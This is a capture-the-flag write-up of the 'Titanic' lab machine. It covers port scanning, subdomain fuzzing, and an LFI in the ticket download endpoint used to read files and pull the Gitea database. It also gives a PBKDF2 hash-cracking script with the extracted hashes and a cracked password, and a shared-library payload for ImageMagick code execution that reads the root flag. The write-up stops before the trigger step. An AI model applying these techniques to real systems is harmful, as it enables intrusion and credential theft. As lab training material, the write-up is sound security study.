Recon 🕵️
Network Enumeration
TCP Scan
ip=10.129.231.221
nmap -sCV -p- -vv -A -T5 -oA scan/normal $ip
Based on the TCP scan results
, the following ports are available
for further assessment:
Port | Software | Version | Status |
---|---|---|---|
22/tcp | ssh | ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0) | open |
80/tcp | http | ttl 63 Apache httpd 2.4.52 | open |
We can observe that port 80
is open and running an Apache HTTP server on an Ubuntu server. Additionally, the scan discloses the domain titanic.htb
:
let’s add it to our /etc/hosts
file :
echo "$ip titanic.htb" | sudo tee -a /etc/hosts
UDP scan
./udpz $ip --retries 1 --timeout 20000
Based on the
UDP scan results
, no open ports were identified for further assessment.
Web Enumeration
Port 80: titanic.htb
Visiting the website, we notice that it’s a Titanic trip booking system with numerous buttons. However, only one of them is functional: the Book Now
button:
We are presented with a booking form to fill out. After submitting the form, a file is automatically downloaded in our browser:
I did it again, but this time I intercepted the request to examine the download mechanism and how it works. We can see that it goes through the /download
endpoint with the JSON file as a parameter called ticket
:
The way they do it is very sketchy
because there is a big chance that it might be vulnerable to LFI
, and after testing it, I was right:
Seeing that there are only 2 users in the system with a shell, I tried reading the user flag, and I was successful:
I tried reading the private SSH key, but I didn’t find one, so I guess we need to do more enumeration and read some kind of configuration file to get credentials for SSH.
Fuzzing subdomains :
I used feroxbuster
to fuzz for subdirectories
but didn’t find anything we didn’t already know about, so let’s fuzz for subdomains:
ffuf -w /usr/share/seclists/Discovery/DNS/namelist.txt -u http://$ip -H "HOST: FUZZ.titanic.htb"
We get a hit
:
dev [Status: 200, Size: 13982, Words: 1107, Lines: 276, Duration: 18ms]
let’s add it to our /etc/hosts
file :
echo "$ip dev.titanic.htb" | sudo tee -a /etc/hosts
Exploiting 🦈
Foothold
White-Boxing and finding the database file:
Upon visiting it, we see an instance of Gitea
. Since we don’t have any credentials, I tried to check if there are any public repositories, and we found a couple:
While going through the files, I found the volume path where Gitea
data is stored:
We can also see the MySQL
credentials:
Since we have the path to Gitea
and we know that the Gitea
database file is usually stored in /data/gitea.db
or /data/gitea/gitea.db
, I tried downloading it using LFI
, and the second path worked:
shell as developer
:
After downloading it, I found the users
table with hashed passwords for both the administrator
and developer
in the pbkdf2$50000$50
format:
SELECT name, passwd, salt, passwd_hash_algo FROM user;
administrator|cba20ccf927d3ad0567b68161732d3fbca098ce886bbc923b4062a3960d459c08d2dfc063b2406ac9207c980c47c5d017136|2d149e5fbd1b20cf31db3e3c6a28fc9b|pbkdf2$50000$50
developer|e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56|8bf3e3452b78544f8bee9400d6936d34|pbkdf2$50000$50
frenzy|b2349e03ef0917450f1e48cec4b37c8bbf62335b5b0242e82c075cbd252138b998300f01d334999f77b40e8ed5f7f85f4afc|a42c912a0eccbb761c61b2d9aa8559b5|pbkdf2$50000$50
The
pbkdf2$50000$50
format indicates that thepbkdf2
algorithm was used with50,000 iterations
to generate the password hash, while the$50
denotes the length of the output hash in bytes.
To crack
this type of encryption, we can use the following script:
import hashlib
import binascii
from pwn import lo
# Parameters from gitea.db
salt = binascii.unhexlify('8bf3e3452b78544f8bee9400d6936d34') # 16 bytes
key = 'e531d398946137baea70ed6a680a54385ecff131309c0bd8f225f284406b7cbc8efc5dbef30bf1682619263444ea594cfb56'
dklen = 50
iterations = 50000
def hash(password, salt, iterations, dklen):
hashValue = hashlib.pbkdf2_hmac(
hash_name='sha256',
password=password,
salt=salt,
iterations=iterations,
dklen=dklen,
)
return hashValue
# Crack
dict = '/usr/share/wordlists/rockyou.txt'
bar = log.progress('Cracking PBKDF2')
with open(dict, 'r', encoding='utf-8') as f:
for line in f:
password = line.strip().encode('utf-8')
hashValue = hash(password, salt, iterations, dklen)
target = binascii.unhexlify(key)
# log.info(f'Our target is: {target}')
bar.status(f'Trying: {password}, hash: {hashValue}')
if hashValue == target:
bar.success(f'Found password: {password}!')
break
bar.failure('Hash is not crackable.')
After letting it run for a while, we obtained the password:
developer:25282528
Privilege Escalation
Upon doing some manual enumeration as developer
, I noticed an unusual script in the /opt/scripts
directory:
The script is used to determine whether a file is an actual image by using magick
:
Looking at the binary details, we can see the version
:
Which is vulnerable to Arbitraty Code Execution
:
And they also show a PoC
:
Let’s craft our own PoC
to read the flag:
cd /opt/app/static/assets/images
gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void init(){
system("cat /root/root.txt > /tmp/rootflag");
exit(0);
}
EOF
We can trigger it by :